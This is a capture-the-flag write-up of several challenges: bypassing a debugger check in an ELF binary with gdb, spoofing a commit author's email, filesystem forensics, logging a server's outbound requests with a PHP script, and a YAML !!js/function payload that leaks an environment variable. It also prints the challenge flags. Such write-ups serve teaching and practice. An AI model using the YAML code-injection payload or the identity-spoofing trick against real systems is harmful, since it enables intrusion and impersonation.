An ELF 64bit binary is provided. It ask for an argv that apparently must match some conditions. Digging into the disassembled code we found out that it has a sort of debugger detection where basically the execution flows drop into an infinite loop. For avoid this break on 0x4011f6 in gdb and set %al to 0x1 so we pass the conditional jump. Now just continue the execution of the program: “Congrats! The flag for this level is : 94958e1c10707728ef965fe850eb98a1”


In this challenge we have to commit a file on remote repository and for validating the challenge it must be called as our team name. So we started by creating an account (testaccount12345ASDQWE) and after the registration we change the email of the account to ‘[email protected]’ since we have to spoof the e-mail address of the commits that we are going to push (this is requested by the challenge: ‘In order for you to complete this mission, please contact this user and ask him to push a commit in this repository with your team name as the commit message.‘)

No we have to fork the remote repository ‘backdoorctf2014’ to our local one just by clicking the button here:

Now go to our local forked repository: and create a new file:

naming it as ‘tasteless’. Now we have to pull the changes:

and then by browsing to the pull request page we’re gonna merge it by clicking “Merge pull request” button:

Done, just go the the challenge page take the flag and submit it:

Here is the flag : 5ed763cb33015646a44b0fe1b9d21444


Easy challenge over here: extract all the zips, mount the filesystem extracted, open the “#23” file in lost+found directory. It is a sort of .bash_history file where some cmd there but one is interesting: curl . Just go to that paste page and get the flag.


The challenge provide us a service that rate the images by the URL you paste there. The rate is in range between 1 and 100 and its random every time you hit it. The aim wasn’t to get 100pts as we first thought. We set up on a site that we control a PHP script that logs the requests done on that script:

echo $s.$p;
file_put_contents('test.txt',$s.$p, FILE_APPEND);

Now go back to the challenge page and paste in the form ‘' as URL and you’ll find, once the request has been completed, a file ‘' with some log in took from $_SERVER array and also an interesting filename ‘92702a9381515494689f5d14f85a83b7.php’ . Now go to: and there is the flag: f556b9a48a3ee914f291f9b98645cb02 .


This challenge was a classic example of the YAML RCE vulnerability. Flag was in an environment variable in nodejs: process.env.FLAG . Code used:

title: Markdown to HTML Demo
layout: default
foo: "qwe"
- hello
- world

a: !!js/function >
(function(){ return process.env.FLAG })();


This is normal markdown

This will become **Bold** and _underlined_.

And this is a valid [link][0].

You can use inline variables from the frontmatter as well:

The layout, for eg, is {{layout}} (escaped) or {{{layout}}} (unescaped)

Reference for this vulnerability: